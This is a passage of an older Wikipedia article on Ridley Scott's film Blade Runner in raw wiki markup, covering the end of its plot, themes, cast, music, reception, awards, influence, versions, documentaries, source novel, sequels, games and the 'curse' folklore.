Clues from Leon's apartment lead Deckard to Taffy Lewis' ([[Hy Pyke]]) bar where the tattooed Zhora is performing with a snake. Zhora attacks Deckard and makes a desperate attempt to get away into the crowded streets; Deckard chases her down and &quot;retires&quot; her. After the shooting, Gaff and Bryant show up and inform Deckard that Rachael will also need to be &quot;retired&quot;. Deckard conveniently spots Rachael in the distance, though as he follows her he is suddenly disarmed by Leon who then proceeds to beat him. Rachael kills Leon, saving Deckard's life, and they go back to Deckard's apartment where they discuss her options, and in a rough scene ending in musical intimacy they begin to fall in love.

Meanwhile, Roy arrives at Sebastian's apartment and they convince Sebastian to bring Roy to meet Tyrell. Once in Tyrell's bedroom Roy demands an extension to his lifespan and requests absolution for his sins; upon receiving neither he kills Tyrell and Sebastian.

[[Image:BladeRunner Bradbury Interior.jpg|thumb|right|275px|The Bradbury Building]]
Deckard is sent to Sebastian's apartment and is ambushed by Pris, though he manages to shoot her after a struggle. Roy returns moments later, trapping Deckard in the apartment and playfully hunts him throughout the dilapidated [[Bradbury Building]], eventually forcing him to the roof. Deckard attempts a jump to another building and ends up desperately hanging from a beam.  Roy easily makes the jump and stares down at Deckard — just as Deckard loses his grip Roy grabs his wrist and saves his life. Roy is deteriorating quickly (his 4-year lifespan is up) as he sits down in the rain and eloquently marvels at the highlights of his life and concludes, &quot;All those moments... will be lost... in time... like tears... in rain. Time... to die.&quot; Roy quietly dies as Deckard looks on in silence. Gaff arrives in a [[Spinner (Blade Runner)|spinner]] shortly afterward and, as he's leaving, cryptically shouts, &quot;It's too bad she won't live. But then again, who does?&quot;

Deckard returns to his apartment and cautiously enters when he sees the door is ajar. He finds Rachael alive and as they leave Deckard comes across an [[origami]] [[calling card]] left by Gaff; he has allowed them to escape, and they depart toward an uncertain future together.

== Themes ==
{{Main|Themes in Blade Runner}}

Despite the initial appearance of an action film, ''Blade Runner'' operates on an unusually rich number of dramatic levels. As with much of the [[cyberpunk]] genre, it owes a large debt to [[film noir]], containing and exploring such conventions as the [[femme fatale]], a [[Raymond Chandler|Chandleresque]] first-person narration (removed in later versions), and the questionable moral outlook of the [[Hero]] — extended here to include even the humanity of the hero, as well as the usual dark and shadowy [[cinematography]].

It is one of the most literate science fiction films, both thematically — enfolding the [[philosophy of religion]] and [[morality|moral]] implications of the increasing human mastery of [[genetic engineering]], within the context of [[History of theater|classical Greek drama]] and its notions of [[hubris]]{{ref|ecofeminist}} — and linguistically, drawing on the poetry of [[William Blake]] and the [[Bible]]. ''Blade Runner'' also features a [[chess]] game based on the famous [[Immortal Game]] of 1851. (The king and queen are interposed on Tyrell's side, a position which a [[International Grandmaster|grandmaster]] would never attempt.)

[[Image:BladeRunner Bradbury.jpg|thumb|left|270px|Dark sprawl overlooked by the glimmering towers of LA 2019.]]
''Blade Runner'' depicts a future whose fictional distance from present reality has grown sharply smaller as 2019 approaches. The film delves into the future implications of [[technology]] on the [[natural environment|environment]] and society by reaching into the past using literature, [[religious symbolism]], classical dramatic themes and [[film noir]]. This tension between past, present and future is apparent in the retrofitted future of Blade Runner, which is [[High tech|high-tech]] and gleaming in places but elsewhere decayed and old.

A high level of [[paranoia]] is present throughout the film with the visual manifestation of [[Corporation|corporate]] power, omnipresent police, probing lights; and in the power over the individual represented particularly by genetic programming of the replicants. Control over the environment is seen on a large scale but also with how animals are created as mere commodities. This oppressive backdrop clarifies why many people are going to the off-world colonies, which clearly parallels the migration to the [[Americas]]. The popular 1980s prediction of America being economically surpassed by [[Japan]] is reflected in the domination of Japanese culture and advertising in LA 2019. The film also makes extensive use of eyes and manipulated images to call into question reality and our ability to perceive it.

[[Image:BladeRunner Deckard and Rachael.jpg|right|275px|thumb|Deckard and Rachael.]]
This provides an atmosphere of uncertainty for ''Blade Runner's'' central theme of examining humanity. In order to discover replicants an empathy test is used with a number of questions focused on the treatment of animals; making it the essential indicator of someone's &quot;humanity&quot;. The replicants are juxtaposed with human characters who are unempathetic, while the replicants appear to show passion and concern for one another the mass of humanity on the streets is cold and impersonal. The film goes so far as to put in doubt whether Deckard is a replicant, and forces the audience to reevaluate what it means to be [[human]].{{ref|retro}}

=== Is Deckard a replicant? ===

:''Main article: [[Themes in Blade Runner#Deckard: replicant or human.3F|Deckard: replicant or human?]]''

Among fans of the film, the question of whether Deckard is human or replicant has been an ongoing controversy since the film's release. Ridley Scott, after remaining coy on the subject for twenty years, stated in 2002 that Deckard is a replicant. Hampton Fancher and Harrison Ford, however, have stated that Deckard is human. 

The rough consensus among fans is that in the original version of the film Deckard is probably human, whereas in the Director's Cut he is a replicant. Specifically, the Director's Cut shows a dream of Deckard's that features a [[unicorn]]; when Gaff leaves Deckard an origami unicorn at the end of the film. This suggests Gaff knew about the dream and implies that Deckard is, like Rachael, a replicant with implanted memories.

== Cast ==

''Blade Runner'' had a significant number of then-unknown actors in its cast:

*[[Harrison Ford]] as Rick Deckard. Coming off some success with ''[[Star Wars Episode IV: A New Hope]]'', but still a year before ''[[Raiders of the Lost Ark]]'' was released, Ford was looking for a role with dramatic depth. After [[Steven Spielberg]] praised Ford and showed some ''Raiders'' rushes to [[Michael Deeley|Deeley]] and [[Ridley Scott|Scott]] they got Ford onboard. Due to the initially poor reception of ''Blade Runner'' and friction with Scott, Ford has usually avoided discussing the film.
*[[Rutger Hauer]] as Roy Batty. Hauer gave a brief but &quot;effective&quot;{{ref|ebert1}} performance as the violent yet complex leader of [[replicant]]s with nothing to lose; and was regarded by Philip K. Dick as the &quot;perfect Batty &amp;mdash; cold, Aryan, flawless.&quot;{{ref|brbible6}} Of the many films Hauer has done, Blade Runner is his favorite. As he explains:
 
::''Blade Runner needs no explanation. It just IZZ. All of the best. There is nothing like it. To be part of a real MASTERPIECE which changed the world's thinking. It's awesome.'' &amp;ndash; [http://www.brmovie.com/Profiles/BR_Cast_Hauer.htm brmovie.com]

*[[Sean Young]] as Rachael. The picture of female &quot;perfection&quot; at 22 years old, Young still counts ''Blade Runner'' among her favorite films, despite friction with Ford and Scott as a result of her inexperience and young age.
*[[Edward James Olmos]] as Gaff. Olmos used his diverse ethnic background to help create the Cityspeak his character uses in the film. This helps, along with his cane, to create mystery around a character whose exact role isn't clarified while he observes and comments (through his [[origami]]) on Deckard.
*[[Daryl Hannah]] as Pris. Hannah managed to bring out the dangerous innocence of a replicant in love with Roy Batty. Pris also demonstrated the impressive physical ability of replicants with her combative gymnastics.

{|align=&quot;center&quot; border=&quot;0&quot;
|[[Image:BladeRunner Gaff.jpg|right|thumb|234px|Gaff with his cane.]]
|||||
|[[Image:BladeRunner Roy Tyrell.jpg|left|thumb|285px|Roy (left) meets his maker, Tyrell.]]
|}

Supporting roles:

*[[Morgan Paull]] as Holden. Holden didn't have much of a chance when going up against a Nexus-6 for the first time, but he did manage to draw his gun while being shot and warn Deckard about the replicants in a deleted hospital scene.
*[[Brion James]] as Leon. Although at first glance a dumb [[replicant]] used for muscle, Leon did have an undertone of intuitive intelligence that helped him nearly kill Holden, torture Chew and beat Deckard.
*[[M. Emmet Walsh]] as Captain Bryant. Walsh lived up to his reputation as a great character actor with the role of a hard drinking police veteran.
*[[Joe Turkel]] as Dr. Eldon Tyrell. With a confident penetrating voice and a panache for self-aggrandizement, this corporate mogul directed scientific progress to create a successful enterprise built on a gradual recreation of [[slavery]] with few sympathetic characteristics. 
*[[James Hong]] as Hannibal Chew. An elder geneticist who loves his work, especially with synthesizing [[eye]]s.
*[[William Sanderson]] as J.F. Sebastian, a quiet and lonely genius who provides a compassionate yet compliant portrait of humanity. This led to more varied work for Sanderson.
*Unknown as Abdul Hassan. It remains a mystery as to who played the snake dealer Deckard interrogates.
*[[Hy Pyke]] as Taffey Lewis. Despite only having one scene, Pyke conveys Lewis' sleasiness with ease and apparently with one take; something unheard of with Scott's drive for perfection resulting at times in double digit takes.
*[[Joanna Cassidy]] as Zhora. In a limited time Cassidy conveys a strong woman who has seen the worst humanity has to offer, and her death upsets Deckard.

== Music ==
{{Main|Blade Runner (soundtracks)}}

The ''Blade Runner'' soundtrack by [[Vangelis]] is a dark melodic combination of classic composition and futuristic synthesizers which mirrors the film-noir retro-future envisioned by [[Ridley Scott]]. Vangelis, fresh off of his [[Academy Award]] winning score from [[Chariots of Fire]], composed and performed the music on his [[synthesizer]]s.  The musicscape of the 2019 was created in Vangelis' &quot;space&quot; mode of [[new age music]], as heard on such albums of his as ''[[Heaven and Hell (Vangelis album)|Heaven and Hell]]''.  He also made use of various chimes and the vocals of collaborator [[Demis Roussos]].  Ridley Scott also used &quot;Memories of Green&quot; from Vangelis' album ''[[See You Later]]'' (an orchestral version of which Scott would later use in his film ''[[Someone To Watch Over Me]]'').

:''&quot;Both emotional and unsettling, the Blade Runner score plays off conflict (discord versus harmony, light against dark) for a rich, textured tapestry of sound.&quot;'' – [http://www.musicoutfitter.com/store/item/075678262326/bladerunner.html musicoutfitter.com]

Despite being well received by fans and critically acclaimed &amp;ndash; nominated in 1983 for a [[BAFTA]] and [[Golden Globe]] as best original score &amp;ndash; and the promise of a soundtrack album from Polydor Records in the end titles of the film, the release of the original soundtrack recording was delayed for over a decade.  There are two official releases of the music from ''Blade Runner''.  In light of the lack of a release of an album, The New American Orchestra recorded an orchestral adaptation in 1982 which bore little resemblance to the original.  Some of the film tracks would in 1989 surface on the compilation ''Themes'', but it wasn't until the 1992 release of the Director's Cut version would a substantial amount of the film's score see the light of day.  However, while most of the tracks on the album are from the film, there were a few that Vangelis composed but were ultimately not used and some new pieces.  Many do not consider this to be a satisfying representation of the score.

These delays and poor reproductions led to the production of many [[bootleg recording]]s over the years. A bootleg tape surfaced in 1982 at science fiction conventions and became popular given the delay of an official release of the original recordings, and in 1993 &quot;Off World Music, Ltd.&quot; created a bootleg [[compact disc|CD]] that would prove more comprehensive than Vangelis' official CD in 1994.  A disc from &quot;Gongo Records&quot; features most of the same material, but with slightly better sound quality.  In 2003, two other bootlegs surfaced, the &quot;Esper Edition,&quot; closely preceded by &quot;Los Angeles - November 2019.&quot; The double disc &quot;Esper Edition&quot; combined tracks from the official release, the Gongo boot and the film itself. Finally &quot;2019&quot; provided a single disc compilation almost wholly consisting of ambient sound from the film, padded out with some sounds from the Westwood game &quot;Blade Runner.&quot;  The Gongo release is considered the best presentation of the music, while Los Angeles - November 2019 and the Esper Edition are excellent mementos of the film.

:''&quot;Dreamy, evocative, beautiful and essential.&quot;'' – [http://www.moviegrooves.co.uk/shop/bladerunner.htm moviegrooves.com]

== Reception ==
{{Infobox Film rating |
  width          = 21.0em |
  Ratings        = UK:15 (video rating) (1986) / Australia:M / Canada:14A (director's cut) / Ireland:15 / UK:AA (original rating) / USA:R / Iceland:16 |
  for            = violence |
}}
''Blade Runner'' was released in 1,290 theaters on [[June 25]] [[1982]]. That date was chosen by producer [[Alan Ladd, Jr.]] because his previous highest-grossing films (''[[Star Wars Episode IV: A New Hope]]'' and ''[[Alien (film)|Alien]]'') had a similar opening date ([[May 25]]) in 1977 and 1979, making the date his &quot;lucky day.&quot;{{ref|brbible3}} However, the gross for the opening weekend was a disappointing $6.15 million. A significant factor in the film's rather poor box office performance was that its release coincided with another science fiction film, &quot;E.T. The Extra-Terrestrial,&quot; which was released in the U.S. on June 11, 1982, and dominated box office revenues at the time.

Film critics were polarized as some felt the story had taken a back seat to special effects and that it was not the action/adventure the studio had advertised. Others acclaimed its complexity and predicted it would stand the test of time.{{ref|brbible4}}

A general criticism was its slow pacing takes away from other elements;{{ref|hicks}} one film critic went so far as to call it &quot;Blade Crawler.&quot;{{ref|flynn}} [[Roger Ebert]] praised ''Blade Runner's'' visuals, but found the human story a little thin. Ebert thought Tyrell's unconvincing character and the apparent lack of security measures allowing Roy to murder Tyrell are problems. Also he believed the relationship between Deckard and Rachael seems &quot;to exist more for the plot than for them.&quot;{{ref|ebert}}

Other critics have countered that the strong visuals serve to create a dehumanized world where human elements stand out. Furthermore the relationship between Deckard and Rachael could be essential in reaffirming their respective humanity.{{ref|rutledge}} In a later episode of their show, Ebert and [[Gene Siskel]] admit they were wrong about their early negative reviews and that they consider the film to be a modern classic.

== Awards and nominations ==

''Blade Runner'' has both won, and been nominated for, many awards.

It has won the following accolades:

{|border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
!Year
!Award
!Category - Recipient(s)
|-
|1982
|Los Angeles Film Critics Association Award
|Best Cinematography - [[Jordan Cronenweth]] 
|-
| rowspan=3 |1983
| rowspan=3 |[[BAFTA]] Film Award
| Best Cinematography - Jordan Cronenweth
|-
| Best Costume Design - [[Charles Knode]], [[Michael Kaplan]]
|-
| Best Production Design/Art Direction - [[Lawrence G. Paull]]
|-
|1983
|[[Hugo Award]]
|Best Dramatic Presentation
|-
|1983
|London Critics Circle Film Awards - Special Achievement Award
|Lawrence G. Paull, Douglas Trumbull, Syd Mead - For their visual concept (technical prize).
|}

It was nominated for the following awards:

* [[British Academy of Film and Television Arts#Film|BAFTA]] (1983)
** Best Film Editing – [[Terry Rawlings]]
** Best Make Up Artist – [[Marvin G. Westmore]]
** Best Score – [[Vangelis]] 
** Best Sound – Peter Pennell, Bud Alper, Graham V. Hartstone, Gerry Humphreys 
** Best Special Visual Effects – [[Douglas Trumbull]], [[Richard Yuricich]], [[David Dryer]]

* British Society of Cinematographers: Best Cinematography Award (1982) – [[Jordan Cronenweth]]

* [[Fantasporto]]
** International Fantasy Film Award (1983) - Best Film – [[Ridley Scott]]
** International Fantasy Film Award (1993) - Best Film – Ridley Scott (Director's cut)

* [[Golden Globe Award|Golden Globe]]: Best Original Score (1983) - Motion Picture – Vangelis 

* [[Academy Award|Oscar]] (1983)
** Best Art Direction-Set Decoration – Lawrence G. Paull, [[David L. Snyder]], [[Linda DeScenna]]
** Best Effects, Visual Effects – Douglas Trumbull, Richard Yuricich, David Dryer 

* [[Saturn Award]] (1983)
** Best Science Fiction Film
** Best Director – Ridley Scott
** Best Special Effects – Douglas Trumbull, Richard Yuricich
** Best Supporting Actor – [[Rutger Hauer]]
** Best Genre Video Release (1994) – Director's cut

== Influence ==

[[Image:RoyBatty.jpg|left|thumb|275px|[[Rutger Hauer]] as ''Roy Batty''.]]
Initially avoided by [[North America]]n audiences, ''Blade Runner'' was popular internationally and has become a [[cult film|cult]] classic. The film's popularity and cult status has made it popular to reference in other media. The television show ''[[Futurama]]'' has made multiple references to ''Blade Runner'', and the shows ''[[Cutting It]]'' and ''[[Stargate SG-1]]'' have used quotes from the film. Actor [[William Sanderson]], who played Sebastian, voiced a similar character in the cartoon series ''[[Batman: The Animated Series]]''. In the action film ''[[The 6th Day]]'', a virtual [[psychologist]] says, &quot;You seem to be avoiding talking about your parents. Imagine, two turtles are walking through the desert...&quot;

It is also notable that ''Blade Runner's'' opening frames feature a tight close-up on a human eye; ''[[Strange Days (film)|Strange Days]]'', ''[[Minority Report (film)|Minority Report]]'', and certain episodes of the 2004 television series [[Lost (TV Series)|LOST]] start with similar shots.

The film's dark [[cyberpunk]] style and futuristic design have served as a benchmark and inspired many subsequent science fiction films and television programs, including ''[[Batman (1989 movie)|Batman]]'', ''[[RoboCop]]'', ''[[The Fifth Element]]'', ''[[Ghost in the Shell (film)|Ghost in the Shell]]'', ''[[Dark Angel (TV series)|Dark Angel]]'', ''[[Firefly (TV series)|Firefly]]'', and ''[[The Matrix]]''. It has also influenced [[animes]], including ''[[Akira (film)|Akira]]'', Armitage III, ''[[Cowboy Bebop]]'' and ''[[Bubblegum Crisis]]''. Before shooting began on ''[[Batman Begins]]'', director [[Christopher Nolan]] reportedly screened ''Blade Runner'' to the film's crew and told them, &quot;This is how we're going to make Batman.&quot; Even the ''[[Star Wars]]'' [[Prequel trilogy (Star Wars)|prequels]] have paid homage to ''Blade Runner'' in their special effects sequences.{{ref|starwars}}

:''&quot;Blade Runner is a unique film, incredible on every level. It is a prophetic and emotional tale that stands as one of the most original and intelligent science fiction films ever made.&quot;'' – [http://www.apolloguide.com/mov_print.asp?CID=2301&amp;RID= Alex Ioshpe]

The film is often thought to have inspired [[William Gibson (novelist)|William Gibson]]'s ''[[Neuromancer]]''.{{ref|brfaq}} Gibson has said in interviews that he was already writing ''Neuromancer'' when ''Blade Runner'' was released, and was actually inspired by the implied background of the film ''[[Alien (movie)|Alien]]''. The film arguably marks the introduction of the [[cyberpunk]] genre into popular culture. ''Blade Runner'' continues to reflect modern trends and concerns, and an increasing number consider it one of the greatest science fiction films of all time.{{ref|panel}}{{ref|brviews}} The film was selected for preservation in the [[United States]] [[National Film Registry]] in 1993 and is frequently used in [[university]] courses. Its memorable quotations and soundtrack have made it the most musically [[sampling (music)|sampled]] film of the 20th century.{{ref|brsample}}

:''&quot;Ridley Scott's film remains the defining vision of futuristic science fiction.&quot;'' – [http://www.cinescape.com/0/Editorial.asp?aff_id=0&amp;this_cat=Movies&amp;action=page&amp;obj_id=19571 Steve Biodrowski]

''Blade Runner'' also served to influence the [[cyberpunk]] [[role-playing game]], ''[[Shadowrun]]'', the seminal computer game ''[[System Shock]]'' and the ''[[Syndicate computer games|Syndicate]]'' games.

== Versions ==

Six versions of the film exist, but only the Director's Cut and Criterion Edition are widely known and seen:

*The original 1982 international cut (a.k.a. Criterion Edition), which included more graphic violence than the U.S. theatrical release, and which was released on VHS and on [[Criterion Collection]] [[Laserdisc]].
*The U.S. theatrical version, also called the ''domestic cut''.
*Two workprint versions, shown only as audience test previews and occasionally at film festivals; one of these was distributed in 1991, as a ''Director's Cut'' without Scott's approval.
*The Ridley Scott-approved 1992 Director's Cut; prompted by the unauthorized 1991 release, it is to date the only version officially released on DVD.
*The broadcast version, edited for [[profanity]].

=== Theatrical versions ===

[[Image:BladeRunner Unicorn1.jpg|right|275px|thumb|right|Deckard's daydream in the 1992 Director's Cut.]]
The 1982 American and European theatrical versions released by the studio included a &quot;happy ending&quot; (using stock footage from [[Stanley Kubrick]]'s ''[[The Shining (film)|The Shining]]'') and a [[voice-over]] added at the request of studio executives during [[post-production]] after test audience members indicated difficulty understanding the film. Although several different versions of the script had included a voice-over of some sort, both Ridley Scott and Harrison Ford disliked the studio V.O. and resisted having it added to the film. It's been rumored Ford intentionally did the voice-over poorly in the hope it wouldn't be used,{{ref|brbible5}} but recent interviews indicate otherwise.{{ref|imdb}}

=== Director's Cut ===

In 1990, Warner Brothers briefly allowed theatrical screenings of a 70mm copy of the workprint version of the film, advertising it as a Director's Cut. However, Ridley Scott publicly disowned the workprint version of the film as his definitive Director's Cut, citing that it was roughly edited and lacked the score composed for the film by [[Vangelis]]. In response to Scott's dis-satisfaction (and in part because of the film's resurgent cult popularity in the early 90s) Warner Brothers decided to assemble a definitive Director's Cut of the film with direction from Scott to be released in 1992.

[[Image:Brdvd.jpeg|thumb|left|200px|The DVD cover of the 1992 Director's Cut.]]

They hired film-restorationist Michael Arick, who had been the one that re-discovered the workprint of Blade Runner and who was already doing consultation work for them, to head up the project with Scott. He started by spending several months in [[London, England|London]] with Les Healey, who had been the assistant editor on Blade Runner, attempting to compile a list of the changes that Scott wanted made to the film. He also got a number of suggestions/directions directly from the director himself. Arick made several changes to the film, most of them fairly minor editing changes, including the re-insertion of Deckard finding Gaff's origami unicorn in the hallway near his apartment at the film's closing. However, three major changes were made to the film which most would agree significantly changed the feel of the film: the removal of Deckard's explanatory voice-over, the re-insertion of a dream sequence of a unicorn running through a forest, and the removal of the studio imposed &quot;happy-ending&quot;, including some associated visuals which had originally run under the film's end-credits.

Scott has since complained that time and money constraints and his obligation to ''[[Thelma and Louise]]'' kept him from retooling the film in a completely satisfactory manner, and that while he's happier than before with the 1992 release of the film, he's never felt entirely comfortable with it as his definitive Director's Cut.

=== Special Edition ===

Partly as the result of those complaints, Scott was invited back in mid-2000 to help put together a final and definitive version of the film, which was completed in mid 2001. During the process, a new digital print of the film was created from the original negatives, special effects were updated and cleaned, and the sound was remastered in 5.1 [[Dolby Digital]] surround sound.  Unlike the rushed 1992 Director's Cut, Scott personally oversaw the new cut as it was being made. The Special Edition DVD was slated for a Christmas time 2001 release, and was originally rumored to be a three-disc set including the full international theatrical cut, the 1992 director's cut and the newly enhanced version in addition to deleted scenes, extensive cast and crew interviews, and the documentary &quot;On the Edge of Blade Runner&quot;.

However, [[Warner Brothers]] indefinitely delayed the &quot;Special Edition&quot; release after legal disputes began with the film's original [[completion bond]] guarantors (specifically [[Jerry Perenchio]]), who were ceded ownership of the film when the shooting ran over budget from $21.5 to $28 million. As of 2005, the legal issues remain unresolved &amp;ndash; although at a press conference in late January 2006, Warner Bros. hinted at a 25th &quot;Anniversary Edition&quot; to be released in 2007 &amp;ndash; including release on a next generation High Definition home video format (either [[HD-DVD]] or [[Blu-Ray]]).{{ref|25anniv}} For the time being, Warner Bros. remains the film's distributor and is authorized to release the 1992 Director's Cut on video. Warner Bros. also acts as distributor for the original 1982 theatrical version, which remains in circulation on television (albeit edited for the medium).

== Documentaries ==

[[Image:BladeRunner Fancher and Peoples.jpg|right|thumb|275px|From the ''Edge'' documentary, featuring the Blade Runner screenwriters Fancher (left) and Peoples (now friends).]]
'''''On the Edge of Blade Runner''''' (55 minutes), produced in 2000 by Nobles Gate Ltd. (for [[Channel 4]]), was directed by [[Andrew Abbott]] and hosted/written by [[Mark Kermode]], and will be included in the Special Edition. Interviews with production staff, including Ridley give details into the creative process and turmoil during preproduction. Stories from [[Paul M. Sammon]] and Fancher provide insight into [[Philip K. Dick]] and the origins of ''[[Do Androids Dream of Electric Sheep?]]''

Interweaved are cast interviews with the notable exceptions of [[Harrison Ford]] and [[Sean Young]]. Through these interviews we get a sense of how difficult and frustrating the film was to make as a result of an exacting director without allies and hot, wet, smoggy conditions; which added to the high pressure atmosphere everyone increasingly felt as the film went over budget. There is also a tour of some locations, most notably the [[Bradbury Building]] and the [[Warner Bros.|Warner Brothers]] backlot that was the LA 2019 streets, which look very different from Ridley's dark version.

The documentary then details the test screenings postproduction editing/changes (voice over and happy ending, deleted Holden hospital scene), special effects, soundtrack by [[Vangelis]], and the unhappy relationship between the filmmakers and the investors; which culminated in Deeley and Ridley being fired but still working on the film. The question of whether or not [[Themes in Blade Runner#Deckard: replicant or human.3F|Deckard]] is a replicant surfaces. After being a &quot;disaster&quot; in the box office (a financial loss initially) Blade Runner was reborn in the video rental market, and a great reception of a chance screening of Ridley's workprint at the Fairfax Theater, Los Angeles, in May 1990 led to Warner Bros. having the &quot;Director's Cut&quot; done by film archivist [[Michael Arick]].

'''''Future Shocks''''' (27 minutes), a more recent documentary from 2003 by [[TVOntario]] (as part of their [[Film 101]] series), has interviews with executive producer [[Bud Yorkin]], [[Syd Mead]], and the cast along with Sean Young, but again without Harrison Ford. There is extensive commentary by science fiction author [[Robert J. Sawyer]] and film critics as the documentary focuses on the themes, visual impact and influence of the film. Olmos goes into Ford's participation and personal experiences during filming are related by Young, Walsh, Cassidy and Sanderson. They also relate a story where crew members created t-shirts which took pot shots at Ridley. The versions of the film are critiqued and how closely Blade Runner predicted the future is discussed.

== Novel ==

:''See also: [[Do Androids Dream of Electric Sheep?#Differences Between the Novel and Film|Differences Between the Novel and Film]]''

The original screenplay by [[Hampton Fancher]] was based loosely on [[Philip K. Dick]]'s ''[[Do Androids Dream of Electric Sheep?]]'', which he optioned in 1980 after an unsuccessful previous attempt. However, Fancher's script focused more on environmental issues and less on issues of humanity and faith, which weighed heavily in the novel. When [[Ridley Scott]] became involved with the film, he wanted changes to the script made, and eventually hired [[David Peoples]] to perform the re-writes after Fancher refused. The film's title also changed several times during the writing process, it was to be called ''Dangerous Days'' in Fancher's last draft before eventually taking the name Blade Runner, actually borrowed (with permission) from a [[William S. Burroughs]] treatment of  [[Alan E. Nourse]]'s science fiction novel ''The Bladerunner'' (1974).

As a result of Fancher's divergence from the novel, numerous re-writes before and throughout shooting the film and Ridley Scott never having entirely read the novel it was based on, the film diverged significantly from its original inspiration. The changes have led many critics and fans to consider them as independent works of fiction; despite the fact ''Do Androids Dream of Electric Sheep?'' was reprinted for a time with the title ''Blade Runner'' to help promote sales. Some of the themes in the novel that were minimized or entirely removed include: fertility/sterility of the population, [[religion]], [[mass media]], Deckard's uncertainty that he is human, and real versus synthetic [[pet]]s and [[emotion]]s.

The producers of the film arranged for a screening of some rough cuts for Philip K. Dick shortly before he died in early 1982. Despite the fact that the movie deviated significantly from his book and his well known skepticism of [[Hollywood]] in principle, he became quite enthusiatic about the film. He predicted that: &quot;This will change the way we look at movies.&quot;

== Sequels ==

Three official and authorized ''Blade Runner'' novels have been written by [[Philip K. Dick]]'s friend [[K. W. Jeter]] that continue the story of Rick Deckard and attempt to resolve many of the differences between ''Blade Runner'' and ''[[Do Androids Dream of Electric Sheep?]]''. The novel ''Blade Runner 2'' contains numerous inconsistencies with the film, however, including the resurrection of a dead character and a complete reworking of the nature of another. The final result is more of an alternate universe than a direct sequel.

*''[[Blade Runner 2: The Edge of Human]]'' (1995)
*''[[Blade Runner 3: Replicant Night]]'' (1996)
*''[[Blade Runner 4: Eye and Talon]]'' (2000)

[[David Peoples]], who co-wrote ''Blade Runner'' and wrote the 1998 film [[Soldier (film)|''Soldier'']], has said that ''Soldier'' is intended to be a &quot;sidequel&quot; to ''Blade Runner''. ''Soldier'' takes place in the same universe, and the spinners used in ''Blade Runner'' are also used in ''Soldier''. However, ''Soldier'' is an unofficial sidequel, as it was never formally approved by the ''Blade Runner'' partnership, who own the rights to the elements of ''Blade Runner'' that appear in ''Soldier'', and to that overall universe. 

Though not an official sequel to ''Blade Runner'', many fans have noted the similarity of the 1999 TV series ''[[Total Recall 2070]]'' to the Blade Runner universe. Many consider the series a sequel to, or at least set in, the same universe as ''Blade Runner''. Some truth actually lies in this assumption. ''Total Recall 2070'' was based on two works by Phillip K. Dick: the short story, ''[[We Can Remember It for You Wholesale]]'' (on which the film [[Total Recall (film)|Total Recall]] is based), and the novel ''Do Androids Dream of Electric Sheep?'', on which ''Blade Runner'' is based.

== Games and comics ==

[[Image:BladeRunner PC Game (Front Cover).jpg|right|thumb|140px|PC game cover.]]
There are two [[computer and video games|computer games]] based on the film, one for [[Commodore 64]] and [[ZX Spectrum]] by CRL Group PLC (1985) based on the music by [[Vangelis]] (due to licensing issues), and another action adventure [[Blade Runner (videogame)|PC game]] by [[Westwood Studios]] (1997). The [[Blade Runner (videogame)|latter game]] featured new characters and branching storylines based on the ''Blade Runner'' world, coupled with voice work from some of the original cast from the film. A prototype board game was also created in California (1982) that had game play similar to [[Scotland Yard (board game)|Scotland Yard]].

The cult computer game ''[[Snatcher]]'' was heavily influenced by ''Blade Runner'', so much so that websites exist detailing the numerous similarities between the two.{{ref|snatcher}}

[[Archie Goodwin]] scripted the comic book interpretation, ''A Marvel Comics Super Special: Blade Runner'', published September, 1982. The [[Jim Steranko]] cover leads into a 45-page adaptation illustrated by the team of [[Al Williamson]], Carlos Garzon, Dan Green and [[Ralph Reese]]. (This adaptation includes one possible explanation of the title's significance in story context: the narrative line, &quot;Blade runner. You're always movin' on the edge.&quot;) Also there was a parody comic of Blade Runner called &quot;Blade Bummer&quot; by [[Crazy (magazine)|Crazy]] comics.{{ref|crazy}}

== Curse ==

Among the folklore that has grown up around the film over the years has been the belief that the film was a [[curse]]{{ref|curse}} to the companies whose [[logo]]s were displayed prominently in some scenes. While they were market leaders at the time, many of them experienced disastrous setbacks over the next decade and hardly exist today:

*[[Atari]], which dominated the [[video game console|home video game]] market when the film came out, never recovered from [[video game crash of 1983|the next year's downturn]] in the industry, and by the 1990s had ceased to exist as anything more than a brand, a back catalog of games and some legacy computers.
*The [[Bell System]] [[monopoly]] was broken up that same year, and some of the resulting [[Regional Bell operating companies]] have since changed their names and [[merger|merged]] with each other or other companies.
*[[Pan American World Airways|Pan Am]] went [[bankruptcy|bankrupt]] in 1991, after a decade of mounting losses.
*[[Cuisinart]] similarly went bankrupt in 1989.

[[The Coca-Cola Company|Coca-Cola]] almost joined this list in the wake of its failed introduction of [[New Coke]] [[1985|three years later]], but has since experienced a thirty-fold increase in share price.

== See also ==

*[[Films that have been considered the greatest ever]]
*[[List of films recut by studio]]
*[[Union Station (Los Angeles)]] – Used as police headquarters.
*[[Bradbury Building]] – The setting for J.F. Sebastian's apartment.
*[[Kabukicho]] – [[Tokyo]]'s [[red-light district]] was an inspiration for Blade Runner set design.
*[[Million Dollar Theater]] – Seen across from the Bradbury.
*[[Ennis House]] – The setting for Deckard's apartment.
[[Image:BladeRunner Voigt-Kampff machine.jpg|right|thumb|240px|Voight-Kampff empathy test.]]
*[[Spinner (Blade Runner)|Spinner (''Blade Runner'')]]
*[[Voight-Kampff machine]]
*[[Dystopia]] 
*[[Postmodernism]] or [[Postmodernity]]
*[[Synthetic biology]]
*[[Kipple]]

== References ==

#{{note|bfi}} Bukatman, Scott. (1997) ''Blade Runner: BFI Modern Classics''. ISBN 0851706231
#{{note|telegraph}} Scott, Ridley. (2003) [http://www.telegraph.co.uk/arts/main.jhtml?xml=/arts/2003/09/20/bfscott20.xml&amp;sSheet=/arts/2003/09/20/ixartright.html Daily Telegraph - Interview with Ridley Scott]
#{{note|brbible1}} Sammon, Paul. (1996) ''Future Noir: the Making of Blade Runner''. ISBN 0061053147
#{{note|moebius}} Giraud, Jean. (1988) ''The Long Tomorrow &amp; Other SF Stories''. ISBN 0871352818
#{{note|ecofeminist}} Jenkins, Mary. (1997) [http://trumpeter.athabascau.ca/content/v14.4/jenkins.html ''The Dystopian World of Blade Runner: An Ecofeminist Perspective'']
#{{note|retro}} Kerman, Judith. (1991) ''Retrofitting Blade Runner: Issues in Ridley Scott's &quot;Blade Runner&quot; and Philip K. Dick's &quot;Do Android's Dream of Electric Sheep?&quot;'' ISBN 0879725109
